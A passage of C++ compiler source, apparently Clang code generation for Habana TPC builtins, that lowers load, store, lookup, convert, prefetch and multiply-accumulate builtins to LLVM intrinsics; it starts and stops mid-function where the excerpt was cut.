Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(IID,\n { ResultTy,\n SrcA->getType(),\n SrcB->getType(),\n SrcC->getType(),\n SrcD->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {SrcA, SrcB, SrcC, SrcD, DT, Switches, Income, Predicate, Polarity});\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n assert(Multiplicity == 2);\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// float s_f32_ld_l (uint32_t addr, int switches, float income, bool predicate, bool polarity);\n//\nstatic Value *emit_LD_L(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned AddrOpNum = 0;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n assert(NumArgs == 5);\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n Value *Addr = CGF->EmitScalarExpr(E->getArg(AddrOpNum));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_l, { ResultTy });\n\n // If we are reading semaphore value from MMIO memory then mark the call\n // of ld_l intrinsic with 'hasSideEffects' in order to not optimize out\n // the call at Early CSE.\n bool isGetSemaphore = false;\n ConstantInt *AddrCI = dyn_cast<ConstantInt>(Addr);\n if (AddrCI) {\n if (SwitchVal == TPCII::SW_MMIO) {\n unsigned AddrI = AddrCI->getZExtValue();\n unsigned tpc_semaphore_addr = 0x808;\n const TargetInfo &TI = CGF->getContext().getTargetInfo();\n if (TI.hasFeature(\"goya\")) {\n tpc_semaphore_addr = 0x808;\n } else if (TI.hasFeature(\"gaudi\")) {\n tpc_semaphore_addr = 0x908;\n }\n if (AddrI == tpc_semaphore_addr) {\n isGetSemaphore = true;\n }\n }\n }\n if (isGetSemaphore) {\n Callee->setSpeculatable();\n Callee->removeAttribute(AttributeList::FunctionIndex, Attribute::ReadOnly);\n }\n\n return CGF->Builder.CreateCall(Callee,\n {Addr, Switches, Income, Predicate, Polarity});\n}\n\n\n// float s_f32_ld_g (uint32_t addr, int switches, float income, bool predicate, bool polarity);\n// int5 i_i32_ld_g(uint32_t addr, int dimmask, int switches, int5 income, bool predicate, bool polarity);\n//\nstatic Value *emit_LD_G(CodeGenFunction *CGF, unsigned IntrinsicID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned AddrOpNum = 0;\n const unsigned DimMaskOpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n// unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n SmallVector<llvm::Value *, 6> Args;\n Args.push_back(CGF->EmitScalarExpr(E->getArg(AddrOpNum)));\n Args.push_back(CGF->EmitScalarExpr(E->getArg(SwOpNum)));\n\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Income;\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee;\n Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_ld_g, {ResultTy, Predicate->getType()});\n\n return CGF->Builder.CreateCall(Callee, Args);\n}\n\n\n// float64 v_f32_lookup_c0(uint64 a, int fid, int switches, float64 income, bool predicate, bool polarity);\n//\nstatic Value *emit_LOOKUP(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n assert(NumArgs == 6);\n const unsigned SrcOpNum = 0;\n const unsigned FuncIdOpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches and intrinsic.\n unsigned IID;\n switch (BuiltinID) {\n case TPC::BIv_f32_lookup:\n case TPC::BIv_bf16_lookup:\n case TPC::BIv_i32_lookup:\n case TPC::BIv_u32_lookup:\n case TPC::BIv_i16_lookup:\n case TPC::BIv_u16_lookup:\n case TPC::BIv_i8_lookup:\n IID = Intrinsic::tpc_lookup;\n break;\n case TPC::BIv_f32_lookup_c0:\n case TPC::BIv_i32_lookup_c0:\n case TPC::BIv_u32_lookup_c0:\n case TPC::BIv_i16_lookup_c0:\n case TPC::BIv_u16_lookup_c0:\n case TPC::BIv_i8_lookup_c0:\n IID = Intrinsic::tpc_lookup_c0;\n break;\n case TPC::BIv_f32_lookup_c1c2:\n case TPC::BIv_i16_lookup_c1c2:\n case TPC::BIv_u16_lookup_c1c2:\n case TPC::BIv_i8_lookup_c1c2:\n IID = Intrinsic::tpc_lookup_c1c2;\n break;\n case TPC::BIv_f32_lookup_1c:\n case TPC::BIv_i32_lookup_1c:\n case TPC::BIv_u32_lookup_1c:\n case TPC::BIv_i16_lookup_1c:\n case TPC::BIv_u16_lookup_1c:\n case TPC::BIv_bf16_lookup_1c:\n IID = Intrinsic::tpc_lookup_1c;\n break;\n case TPC::BIv_f32_lookup_2c:\n case TPC::BIv_i32_lookup_2c:\n case TPC::BIv_u32_lookup_2c:\n case TPC::BIv_i16_lookup_2c:\n case TPC::BIv_u16_lookup_2c:\n case TPC::BIv_bf16_lookup_2c:\n IID = Intrinsic::tpc_lookup_2c;\n break;\n default:\n llvm_unreachable(\"Unhandled MOV intrinsic\");\n }\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n // Operands.\n Value *Src = CGF->EmitScalarExpr(E->getArg(SrcOpNum));\n Value *FuncId = CGF->EmitScalarExpr(E->getArg(FuncIdOpNum));\n Value *SwitchSet = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Predicate = CGF->EvaluateExprAsBool(E->getArg(PredOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n\n // Unless LOOKUP_DT == BV32 lookup is always updating.\n bool Update = false;\n const TargetInfo &TI = CGF->getContext().getTargetInfo();\n if (TI.hasFeature(\"goya\"))\n Update = (SwitchVal & TPCII::SW_LOOKUP_G1) != TPCII::SW_BV32;\n else\n Update = (SwitchVal & TPCII::SW_LOOKUP_G2) != TPCII::SW_BV32;\n Value *Income;\n if (!Update && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(IID, { ResultTy, Src->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src, FuncId, SwitchSet, Income, Predicate, Polarity});\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n assert(Multiplicity == 2);\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// int64 v_convert_f32_to_i32_b(float64 src, int switches, int64 income, bool predicate, bool polarity);\n// short128 v_convert_f32_to_i16_b(float64 src, const int lane, int switches, short128 income, bool predicate, bool polarity);\n//\nstatic Value *emit_CONVERT(CodeGenFunction *CGF, unsigned IntrinsicID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned LaneSelNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n bool HasLaneSel = NumArgs == 6;\n\n const TargetInfo &TI = CGF->getContext().getTargetInfo();\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches.\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_TO_TYPE | TPCII::SW_X2_CONVERT\n | TPCII::SW_X4_CONVERT | TPCII::SW_ALL_LANES;\n bool Updates = 0;\n TPCII::OpType DT = TPCII::OpType::Invalid;\n switch (IntrinsicID) {\n case TPC::BIs_convert_f32_to_bf16:\n case TPC::BIs_convert_f32_to_i32:\n case TPC::BIs_convert_f32_to_i16:\n case TPC::BIs_convert_f32_to_i8:\n case TPC::BIs_convert_bf16_to_f32:\n case TPC::BIs_convert_bf16_to_i16:\n case TPC::BIs_convert_i32_to_f32:\n case TPC::BIs_convert_i32_to_bf16:\n case TPC::BIs_convert_i32_to_u32:\n case TPC::BIs_convert_i32_to_u8:\n case TPC::BIs_convert_i16_to_f32:\n case TPC::BIs_convert_i16_to_bf16:\n case TPC::BIs_convert_i16_to_i32:\n case TPC::BIs_convert_i16_to_u32:\n case TPC::BIs_convert_i16_to_u16:\n case TPC::BIs_convert_i16_to_u8:\n case TPC::BIs_convert_u16_to_bf16:\n case TPC::BIs_convert_i8_to_f32:\n case TPC::BIs_convert_i8_to_bf16:\n case TPC::BIs_convert_i8_to_i32:\n case TPC::BIs_convert_i8_to_u32:\n case TPC::BIs_convert_i8_to_i16:\n case TPC::BIs_convert_i8_to_u16:\n case TPC::BIs_convert_i8_to_u8:\n // Scalar conversion are always replacing.\n RequiredSwitches = 0;\n break;\n case TPC::BIv_convert_f32_to_i32_b:\n case TPC::BIv_convert_f32_to_i32_vb:\n case TPC::BIv_convert_bf16_to_i16_b:\n case TPC::BIv_convert_bf16_to_i16_vb:\n case TPC::BIv_convert_i32_to_f32_b:\n case TPC::BIv_convert_i32_to_f32_vb:\n case TPC::BIv_convert_i32_to_u32_b:\n case TPC::BIv_convert_i32_to_u32_vb:\n case TPC::BIv_convert_i32_to_u8_b:\n case TPC::BIv_convert_i32_to_u8_vb:\n case TPC::BIv_convert_i16_to_u16_b:\n case TPC::BIv_convert_i16_to_u16_vb:\n case TPC::BIv_convert_i16_to_bf16_b:\n case TPC::BIv_convert_i16_to_bf16_vb:\n case TPC::BIv_convert_u16_to_bf16_b:\n case TPC::BIv_convert_u16_to_bf16_vb:\n case TPC::BIv_convert_i8_to_u8_b:\n case TPC::BIv_convert_i8_to_u8_vb:\n // Sizes of target and source types are equal.\n RequiredSwitches = 0;\n break;\n case TPC::BIv_convert_f32_to_bf16_all_b:\n case TPC::BIv_convert_bf16_to_f32_all_b:\n case TPC::BIv_convert_bf16_to_f32_all_vb:\n // Sizes of target and source types are equal.\n RequiredSwitches = TPCII::SW_ALL_LANES;\n break;\n case TPC::BIv_convert_i16_to_f32_b:\n case TPC::BIv_convert_i16_to_f32_vb:\n case TPC::BIv_convert_i16_to_i32_b:\n case TPC::BIv_convert_i16_to_i32_vb:\n case TPC::BIv_convert_i16_to_u32_b:\n case TPC::BIv_convert_i16_to_u32_vb:\n case TPC::BIv_convert_i8_to_f32_b:\n case TPC::BIv_convert_i8_to_f32_vb:\n case TPC::BIv_convert_i8_to_i32_b:\n case TPC::BIv_convert_i8_to_i32_vb:\n case TPC::BIv_convert_i8_to_u32_b:\n case TPC::BIv_convert_i8_to_u32_vb:\n case TPC::BIv_convert_i8_to_i16_b:\n case TPC::BIv_convert_i8_to_i16_vb:\n case TPC::BIv_convert_i8_to_u16_b:\n case TPC::BIv_convert_i8_to_u16_vb:\n // Upconverts use only one lane.\n RequiredSwitches = 0;\n break;\n case TPC::BIv_convert_f32_to_i16_b:\n case TPC::BIv_convert_f32_to_i16_vb:\n case TPC::BIv_convert_f32_to_i8_b:\n case TPC::BIv_convert_f32_to_i8_vb:\n case TPC::BIv_convert_i32_to_bf16_b:\n case TPC::BIv_convert_i32_to_bf16_vb:\n case TPC::BIv_convert_i16_to_u8_b:\n case TPC::BIv_convert_i16_to_u8_vb:\n case TPC::BIv_convert_i16_to_i8_b:\n case TPC::BIv_convert_i16_to_i8_vb:\n // Downconverts require lane specification.\n RequiredSwitches = 0;\n assert(HasLaneSel);\n Updates = true;\n break;\n case TPC::BIv_convert_f32_to_bf16_single_b:\n case TPC::BIv_convert_f32_to_bf16_single_vb:\n RequiredSwitches = TPCII::SW_SINGLE_LANE_SRCB;\n Updates = true;\n break;\n default:\n llvm_unreachable(\"Unhandled CONVERT intrinsic\");\n }\n // Target type.\n llvm::TPCII::OpType TargetDT = getOptypeValue(E->getType());\n RequiredSwitches |= getSwitchForDestination(TargetDT);\n // LaneSel.\n if (HasLaneSel) {\n Expr::EvalResult LSResVal;\n bool R = E->getArg(LaneSelNum)->EvaluateAsRValue(LSResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned LaneSelVal = (unsigned)(LSResVal.Val.getInt().getLimitedValue());\n RequiredSwitches |= LaneSelVal; // TODO: Error?\n }\n // Calculate the final switch set.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n if (TI.hasFeature(\"goya\"))\n SwitchVal = translateGen1RoundingMode(SwitchVal);\n\n // Operands.\n SmallVector<llvm::Value *, 6> Args;\n Value *Src = emitOperand(CGF, E->getArg(0));\n Args.push_back(Src);\n if (DT == TPCII::OpType::Invalid)\n DT = getOptypeValue(E->getArg(0)->getType());\n Args.push_back(llvm::ConstantInt::get(CGF->Int8Ty, DT));\n Args.push_back(llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (!Updates && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_convert,\n { ResultTy,\n Src->getType(),\n Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n if (Multiplicity == 4)\n Result = getStructFieldFromQuadRegister(*CGF, FEResultTy, Result);\n else\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\nstatic Value *emit_PREFETCH(CodeGenFunction *CGF, unsigned IntrinsicID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Addr = CGF->EmitScalarExpr(E->getArg(0));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(1));\n Value *Pred = CGF->EvaluateExprAsBool(E->getArg(2));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(3));\n Value * Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_prefetch);\n return CGF->Builder.CreateCall(Callee, { Addr, Switches, Pred, Polarity });\n}\n\n\n// float64 v_f32_ld_l_v_s_vb(uint32_t a, int switches, float64 income, bool256 predicate, bool polarity);\n//\nstatic Value *emit_LD_L_V_Generic(CodeGenFunction *CGF, unsigned IntrinsicID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n assert(E->getNumArgs() == 5);\n llvm::Type *ResultTy = CGF->ConvertType(E->getType());\n\n Value *Addr = CGF->EmitScalarExpr(E->getArg(0));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(1));\n Value *Income = CGF->EmitScalarExpr(E->getArg(2));\n Value *Pred = emitPredicate(CGF, E->getArg(3));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(4));\n\n Function *Callee = CGF->CGM.getIntrinsic(IntrinsicID, { ResultTy, Pred->getType() });\n return CGF->Builder.CreateCall(Callee, { Addr, Switches, Income, Pred, Polarity });\n}\n\n\nstatic Value *emit_LD_L_V(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_LD_L_V_Generic(CGF, Intrinsic::tpc_ld_l_v, E, ReturnValue, Arch);\n}\n\nstatic Value *emit_LD_L_V_LOW(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_LD_L_V_Generic(CGF, Intrinsic::tpc_ld_l_v_low, E, ReturnValue, Arch);\n}\n\nstatic Value *emit_LD_L_V_HIGH(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_LD_L_V_Generic(CGF, Intrinsic::tpc_ld_l_v_high, E, ReturnValue, Arch);\n}\n\n\n// void s_f32_st_l (uint32_t addr, float value, int switches, bool predicate, bool polarity);\n//\nstatic Value *emit_ST_L(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Addr = CGF->EmitScalarExpr(E->getArg(0));\n Value *Val = CGF->EmitScalarExpr(E->getArg(1));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(2));\n Value *Pred = CGF->EvaluateExprAsBool(E->getArg(3));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(4));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_st_l, { Val->getType() });\n return CGF->Builder.CreateCall(Callee, { Addr, Val, Switches, Pred, Polarity });\n}\n\n\nstatic Value *emit_ST_G(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n Value *Addr = CGF->EmitScalarExpr(E->getArg(0));\n Value *Val = CGF->EmitScalarExpr(E->getArg(1));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(2));\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_st_g, { Val->getType() });\n Value *Pred = CGF->EvaluateExprAsBool(E->getArg(3));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(4));\n\n Value *Result = CGF->Builder.CreateCall(Callee, { Addr, Val, Switches, Pred, Polarity });\n return Result;\n}\n\n\n// void s_f32_st_g_inc(__global void **addr, float value, int switches, bool predicate, bool polarity)\nstatic Value *emit_ST_G_INC(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const auto *PtrTy = cast<clang::PointerType>(E->getArg(0)->getType());\n const auto *PointeeTy = cast<clang::PointerType>(PtrTy->getPointeeType());\n Value *AddrPtr = CGF->EmitScalarExpr(E->getArg(0));\n MaybeAlign MAlign = AddrPtr->getPointerAlignment(CGF->CGM.getDataLayout());\n unsigned AlignValue = 1;\n if (MAlign) {\n llvm::Align A = *MAlign;\n AlignValue = A.value();\n }\n Address Addr0 = CGF->EmitLoadOfPointer(\n Address(AddrPtr, CharUnits::fromQuantity(AlignValue)),\n cast<clang::PointerType>(E->getArg(0)->getType()));\n Address Addr1 = CGF->EmitLoadOfPointer(Addr0, PointeeTy);\n\n // Stored value.\n Value *Val = CGF->EmitScalarExpr(E->getArg(1));\n unsigned ValueSize = Val->getType()->getScalarSizeInBits() / CHAR_BIT;\n\n // Determine increment value.\n Value *Switches = CGF->EmitScalarExpr(E->getArg(2));\n Expr::EvalResult ResVal;\n bool R = E->getArg(2)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n unsigned IncVal;\n if ((SwitchVal & TPCII::SW_INC_VAL) == TPCII::SW_INC_0) {\n // SW_INC switch is not specified. Evaluate increment from the type size.\n switch (ValueSize) {\n case 1:\n SwitchVal |= TPCII::SW_INC_1;\n break;\n case 2:\n SwitchVal |= TPCII::SW_INC_2;\n break;\n case 4:\n SwitchVal |= TPCII::SW_INC_4;\n break;\n case 8:\n SwitchVal |= TPCII::SW_INC_8;\n break;\n default:\n llvm_unreachable(\"Invalid item size\");\n }\n IncVal = ValueSize;\n } else {\n switch (SwitchVal & TPCII::SW_INC_VAL) {\n case TPCII::SW_INC_1:\n IncVal = 1;\n break;\n case TPCII::SW_INC_2:\n IncVal = 2;\n break;\n case TPCII::SW_INC_4:\n IncVal = 4;\n break;\n case TPCII::SW_INC_8:\n IncVal = 8;\n break;\n }\n }\n\n Value *IncValue = ConstantInt::get(CGF->Int32Ty, IncVal);\n Value *Pred = CGF->EvaluateExprAsBool(E->getArg(3));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(4));\n\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_st_g_inc,\n { CGF->ConvertType(QualType(PointeeTy, 0)), Val->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee, { Addr0.getPointer(), Val, IncValue, Switches, Pred, Polarity });\n\n Address VarPtr(AddrPtr, CharUnits::fromQuantity(cast<AllocaInst>(AddrPtr)->getAlignment()));\n CGF->EmitStoreOfScalar(Result, CGF->MakeAddrLValue(VarPtr, QualType(PtrTy, 0)));\n\n return UndefValue::get(CGF->VoidTy);\n}\n\n\n// void f32_st_l_v_s_v_b(uint32_t addr, float64 value, int sw, bool predicate, bool polarity);\n//\nstatic Value *emit_ST_L_V_Generic(CodeGenFunction *CGF, unsigned IntrinsicID,\n const CallExpr *E) {\n assert(E->getNumArgs() == 5);\n\n Value *Addr = CGF->EmitScalarExpr(E->getArg(0));\n Value *Src = CGF->EmitScalarExpr(E->getArg(1));\n Value *Switches = CGF->EmitScalarExpr(E->getArg(2));\n Value *Pred = emitPredicate(CGF, E->getArg(3));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(4));\n\n Function *Callee = CGF->CGM.getIntrinsic(IntrinsicID, { Src->getType(), Pred->getType() });\n return CGF->Builder.CreateCall(Callee, { Addr, Src, Switches, Pred, Polarity });\n}\n\nstatic Value *emit_ST_L_V(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_ST_L_V_Generic(CGF, Intrinsic::tpc_st_l_v, E);\n}\n\nstatic Value *emit_ST_L_V_LOW(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_ST_L_V_Generic(CGF, Intrinsic::tpc_st_l_v_low, E);\n}\n\nstatic Value *emit_ST_L_V_HIGH(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_ST_L_V_Generic(CGF, Intrinsic::tpc_st_l_v_high, E);\n}\n\n\n// float s_f32_mac (float a, float b, float accumulator, int switches, bool predicate, bool polarity);\n// float64 v_f32_mac_vb(float64 a, float64 b, float64 accumulator, int switches, bool64 predicate, bool polarity);\n// int128 v_i16_mac_vb (short128 a, short128 b, int128 accumulator, int switches, bool128 predicate, bool polarity);\n// int256 v_i8_mac_vb (char256 a, char256 b, int256 accumulator, int switches, bool256 predicate, bool polarity);\n// short256 v_i8_mac_acc16_vb(char256 a, char256 b, short256 accumulator, int switches, bool256 predicate, bool polarity);\n// float128 v_bf16_mac_acc32_vb(bfloat128 a, bfloat128 b, float128 accumulator, int switches, bool128 predicate, bool polarity);\n// int128 v_u16_mac_acc32_vb(ushort128 a, ushort128 b, int128 accumulator, int switches, bool128 predicate, bool polarity);\n// int256 v_i8_mac_zp_vb(char256 a, char256 b, char256 zp, int256 accumulator, int switches, bool256 predicate, bool polarity);\n// short256 v_i8_mac_zp_acc16_vb(char256 a, char256 b, char256 zp, short256 accumulator, int switches, bool256 predicate, bool polarity);\n// int256 v_u8_mac_zp_acc32_vb(uchar256 a, uchar256 b, uchar256 zp, int256 accumulator, int switches, bool256 predicate, bool polarity);\n// int256 v_i8_mac_x2_vb(char256 a, char256 b, char256 c, char256 d, int256 accumulator, int switches, bool256 predicate, bool polarity);\n// short256 v_i8_mac_x2_acc16_vb(char256 a, char256 b, char256 c, char256 d, short256 accumulator, int switches, bool256 predicate, bool polarity);\n// int256 v_u8_mac_x2_acc32_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int256 accumulator, int switches, bool256 predicate, bool polarity);\n// int256 v_i8_mac_x2_zp_vb(char256 a, char256 b, char256 c, char256 d, char256 zp, int256 accumulator, int switches, bool256 predicate, bool polarity);\n// short256 v_i8_mac_x2_zp_acc16_vb(char256 a, char256 b, char256 c, char256 d, char256 zp, short256 accumulator, int switches, bool256 predicate, bool polarity);\n// int256 v_u8_mac_x2_zp_acc32_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, uchar256 zp, int256 accumulator, int switches, bool256 predicate, bool polarity);\n//\nstatic Value *emit_MAC(CodeGenFunction *CGF, unsigned BuiltinID, const CallExpr *E,\n ReturnValueSlot ReturnValue, llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned AccOpNum = NumArgs-4;\n const unsigned SwOpNum = NumArgs-3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n const unsigned NumInputs = NumArgs - 4;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches. Some intrinsics like 's_bf16_mac_acc32' require setting\n // specific switches, which user does not specify in invocation.\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_ACC_FP32 | TPCII::SW_ACC_I16 |\n TPCII::SW_ACC_I32 | TPCII::SW_ZP | TPCII::SW_X2_ARITHMETIC;\n unsigned IntrinsicID;\n switch (BuiltinID) {\n case TPC::BIs_f32_mac:\n case TPC::BIs_bf16_mac:\n case TPC::BIs_i16_mac:\n case TPC::BIs_u16_mac:\n case TPC::BIs_i8_mac:\n case TPC::BIs_u8_mac:\n case TPC::BIv_f32_mac_b:\n case TPC::BIv_f32_mac_vb:\n case TPC::BIv_bf16_mac_b:\n case TPC::BIv_bf16_mac_vb:\n case TPC::BIv_i16_mac_b:\n case TPC::BIv_i16_mac_vb:\n case TPC::BIv_u16_mac_b:\n case TPC::BIv_u16_mac_vb:\n case TPC::BIv_i8_mac_b:\n case TPC::BIv_i8_mac_vb:\n case TPC::BIv_u8_mac_b:\n case TPC::BIv_u8_mac_vb:\n RequiredSwitches = 0;\n IntrinsicID = Intrinsic::tpc_mac;\n break;\n case TPC::BIs_bf16_mac_acc32:\n case TPC::BIv_bf16_mac_acc32_b:\n case TPC::BIv_bf16_mac_acc32_vb:\n RequiredSwitches = TPCII::SW_ACC_FP32;\n IntrinsicID = Intrinsic::tpc_mac;\n break;\n default:\n llvm_unreachable(\"Unhandled MAC intrinsic\");\n }\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // Operands.\n SmallVector<llvm::Value *, 9> Args;\n for (unsigned ArgNo = 0; ArgNo < NumInputs; ArgNo++)\n Args.push_back(emitOperand(CGF, E->getArg(ArgNo)));\n\n Value *DT = llvm::ConstantInt::get(CGF->Int8Ty, 